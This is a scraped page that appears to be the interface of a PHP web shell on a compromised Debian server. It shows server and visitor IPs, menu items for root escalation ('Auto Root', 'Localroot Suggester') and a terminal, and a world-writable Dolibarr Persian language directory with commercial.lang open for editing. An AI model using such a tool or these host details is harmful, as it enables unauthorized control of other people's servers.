Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
langs /
fa_IR /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
31.62
KB
-rwxrwxrwx
2020-09-03 11:38
admin.lang
214.93
KB
-rwxrwxrwx
2020-09-03 11:38
agenda.lang
10.32
KB
-rwxrwxrwx
2020-09-03 11:38
assets.lang
2.32
KB
-rwxrwxrwx
2020-09-03 11:38
banks.lang
10.51
KB
-rwxrwxrwx
2020-09-03 11:38
bills.lang
46.35
KB
-rwxrwxrwx
2020-09-03 11:38
blockedlog.lang
7.62
KB
-rwxrwxrwx
2020-09-03 11:38
bookmarks.lang
1.23
KB
-rwxrwxrwx
2020-09-03 11:38
boxes.lang
7.09
KB
-rwxrwxrwx
2020-09-03 11:38
cashdesk.lang
5.06
KB
-rwxrwxrwx
2020-09-03 11:38
categories.lang
7.93
KB
-rwxrwxrwx
2020-09-03 11:38
commercial.lang
4.45
KB
-rwxrwxrwx
2020-09-03 11:38
companies.lang
22.55
KB
-rwxrwxrwx
2020-09-03 11:38
compta.lang
24.17
KB
-rwxrwxrwx
2020-09-03 11:38
contracts.lang
7.07
KB
-rwxrwxrwx
2020-09-03 11:38
cron.lang
7.21
KB
-rwxrwxrwx
2020-09-03 11:38
deliveries.lang
1.51
KB
-rwxrwxrwx
2020-09-03 11:38
dict.lang
10.55
KB
-rwxrwxrwx
2020-09-03 11:38
domains.lang
384
B
-rwxrwxrwx
2020-09-03 11:38
donations.lang
1.89
KB
-rwxrwxrwx
2020-09-03 11:38
ecm.lang
3.84
KB
-rwxrwxrwx
2020-09-03 11:38
errors.lang
36.67
KB
-rwxrwxrwx
2020-09-03 11:38
exports.lang
14.95
KB
-rwxrwxrwx
2020-09-03 11:38
externalsite.lang
351
B
-rwxrwxrwx
2020-09-03 11:38
ftp.lang
1.11
KB
-rwxrwxrwx
2020-09-03 11:38
help.lang
1.68
KB
-rwxrwxrwx
2020-09-03 11:38
holiday.lang
8.42
KB
-rwxrwxrwx
2020-09-03 11:38
hrm.lang
801
B
-rwxrwxrwx
2020-09-03 11:38
install.lang
27.9
KB
-rwxrwxrwx
2020-09-03 11:38
interventions.lang
5.16
KB
-rwxrwxrwx
2020-09-03 11:38
languages.lang
3.07
KB
-rwxrwxrwx
2020-09-03 11:38
ldap.lang
2
KB
-rwxrwxrwx
2020-09-03 11:38
link.lang
655
B
-rwxrwxrwx
2020-09-03 11:38
loan.lang
1.29
KB
-rwxrwxrwx
2020-09-03 11:38
mailmanspip.lang
2.05
KB
-rwxrwxrwx
2020-09-03 11:38
mails.lang
12.46
KB
-rwxrwxrwx
2020-09-03 11:38
main.lang
42.12
KB
-rwxrwxrwx
2020-09-03 11:38
margins.lang
4.21
KB
-rwxrwxrwx
2020-09-03 11:38
members.lang
13.36
KB
-rwxrwxrwx
2020-09-03 11:38
modulebuilder.lang
11.95
KB
-rwxrwxrwx
2020-09-03 11:38
mrp.lang
4.26
KB
-rwxrwxrwx
2020-09-03 11:38
oauth.lang
1.84
KB
-rwxrwxrwx
2020-09-03 11:38
opensurvey.lang
5.16
KB
-rwxrwxrwx
2020-09-03 11:38
orders.lang
11.68
KB
-rwxrwxrwx
2020-09-03 11:38
other.lang
17.17
KB
-rwxrwxrwx
2020-09-03 11:38
paybox.lang
2.47
KB
-rwxrwxrwx
2020-09-03 11:38
paypal.lang
2.22
KB
-rwxrwxrwx
2020-09-03 11:38
printing.lang
2.39
KB
-rwxrwxrwx
2020-09-03 11:38
productbatch.lang
2.03
KB
-rwxrwxrwx
2020-09-03 11:38
products.lang
25.5
KB
-rwxrwxrwx
2020-09-03 11:38
projects.lang
19.85
KB
-rwxrwxrwx
2020-09-03 11:38
propal.lang
4.61
KB
-rwxrwxrwx
2020-09-03 11:38
receiptprinter.lang
3.78
KB
-rwxrwxrwx
2020-09-03 11:38
receptions.lang
3.35
KB
-rwxrwxrwx
2020-09-03 11:38
resource.lang
1.18
KB
-rwxrwxrwx
2020-09-03 11:38
salaries.lang
1.24
KB
-rwxrwxrwx
2020-09-03 11:38
sendings.lang
3.75
KB
-rwxrwxrwx
2020-09-03 11:38
sms.lang
1.9
KB
-rwxrwxrwx
2020-09-03 11:38
stocks.lang
17.9
KB
-rwxrwxrwx
2020-09-03 11:38
stripe.lang
5.13
KB
-rwxrwxrwx
2020-09-03 11:38
supplier_proposal.lang
3.83
KB
-rwxrwxrwx
2020-09-03 11:38
suppliers.lang
2.93
KB
-rwxrwxrwx
2020-09-03 11:38
ticket.lang
20.72
KB
-rwxrwxrwx
2020-09-03 11:38
trips.lang
6.98
KB
-rwxrwxrwx
2020-09-03 11:38
users.lang
7.84
KB
-rwxrwxrwx
2020-09-03 11:38
website.lang
12.51
KB
-rwxrwxrwx
2020-09-03 11:38
withdrawals.lang
7.48
KB
-rwxrwxrwx
2020-09-03 11:38
workflow.lang
2.62
KB
-rwxrwxrwx
2020-09-03 11:38
Save
Rename
# Dolibarr language file - Source file is en_US - commercial Commercial=Commerce CommercialArea=Commerce area Customer=مشتری Customers=مشتریان Prospect=مشتریاحتمالی Prospects=مشتریان احتمالی DeleteAction=حذف بر اساس رخداد NewAction=رویداد جدید AddAction=ساخت رویداد AddAnAction=ایجاد یک رویداد AddActionRendezVous=ساخت رویداد میعادگاه ConfirmDeleteAction=آیا مطمئنید میخواهید این رویداد را حذف کنید؟ CardAction=کارت رویداد ActionOnCompany=شرکت مرتبط ActionOnContact=طرفتماس مرتبط TaskRDVWith=نشست با %s ShowTask=نمایش کار ShowAction=نمایش رویداد ActionsReport=گزارش رویدادها ThirdPartiesOfSaleRepresentative=شخصهای سوم با نمایندۀ فروش SaleRepresentativesOfThirdParty=نمایندگان فروش شخصسوم SalesRepresentative=نمایندۀ فروش SalesRepresentatives=نمایندگان فروش SalesRepresentativeFollowUp=نمایندۀ فروش (پیگیری) SalesRepresentativeSignature=نمایندۀ فروش (امضا) NoSalesRepresentativeAffected=هیچ نمایندۀ فروش مشخصی، تعیین نشده است ShowCustomer=نمایش مشتری ShowProspect=نمایش مشتری احتمالی ListOfProspects=فهرست مشتریان احتمالی ListOfCustomers=فهرست مشتریان LastDoneTasks=آخرین %s کار انجام شده LastActionsToDo=آخرین %s کار انجام نشده DoneAndToDoActions=رویدادهای قابلانجام و انجام شده DoneActions=رویدادهای انجام شده ToDoActions=رویدادهای انجام نشده SendPropalRef=تسلیم پیشنهاد تجاری %s SendOrderRef=تسلیم سفارش %s StatusNotApplicable=قابل اجرا نیست StatusActionToDo=قابل انجام StatusActionDone=تکمیل StatusActionInProcess=درحال انجام TasksHistoryForThisContact=رویدادهای این طرف تماس LastProspectDoNotContact=تماس گرفته نشود LastProspectNeverContacted=هرگز تماس گرفته نشده LastProspectToContact=برای تماس LastProspectContactInProcess=تماس در حال انجا LastProspectContactDone=تماس انجام شد ActionAffectedTo=رویدادهای نسبتداده شده به ActionDoneBy=رویداد انجام شد، توسط ActionAC_TEL=تماس تلفنی ActionAC_FAX=ارسال نمابر ActionAC_PROP=ارسال پیشنهاد از طریق پست ActionAC_EMAIL=ارسال رایانامه ActionAC_EMAIL_IN=دریافت رایانامه ActionAC_RDV=جلسهها ActionAC_INT=واسطهگری در سایت ActionAC_FAC=ارسال صورتحساب مشتری از طریق نامه ActionAC_REL=ارسال صورتحساب مشتری از طریق نامه (یادآوری) ActionAC_CLO=بستن ActionAC_EMAILING=ارسال انبوه رایانامه ActionAC_COM=ارسال سفارش فروش توسط نامه ActionAC_SHIP=ارسال حملونقل توسط نامه ActionAC_SUP_ORD=ارسال سفارش خرید توسط نامه ActionAC_SUP_INV=ارسال صورتحساب فروشنده از طریق نامه ActionAC_OTH=سایر ActionAC_OTH_AUTO=رویدادهائی که بهطور خودکار درج شدهاند ActionAC_MANUAL=رویدادهائی که به شکل دستی وارد شدهاند ActionAC_AUTO=رویدادهای درجشده به شکل خودکار ActionAC_OTH_AUTOShort=خودکار Stats=آمار فروش StatusProsp=وضعیت مشتریاحتمالی DraftPropals=پیشنویش پیشنهادات تجاری NoLimit=بدون محدودیت ToOfferALinkForOnlineSignature=پیوند به امضای برخط WelcomeOnOnlineSignaturePage=به صفحۀ دریافت پیشنهادات تجاری از %s خوش آمدید ThisScreenAllowsYouToSignDocFrom=این صفحه به شما امکان تائید و امضا، یا رد، یک استعلام قیمت/پیشنهاد تجاری را میدهد ThisIsInformationOnDocumentToSign=این اطلاعات مربوط به سند برای تائید یا رد است SignatureProposalRef=امضای پیشنهاد تجاری/استعلاممظنه %s FeatureOnlineSignDisabled=قابلیت امضای برخط غیرفعال است یا این سند قبل از فعال کردن این قابلیت ساخته شده است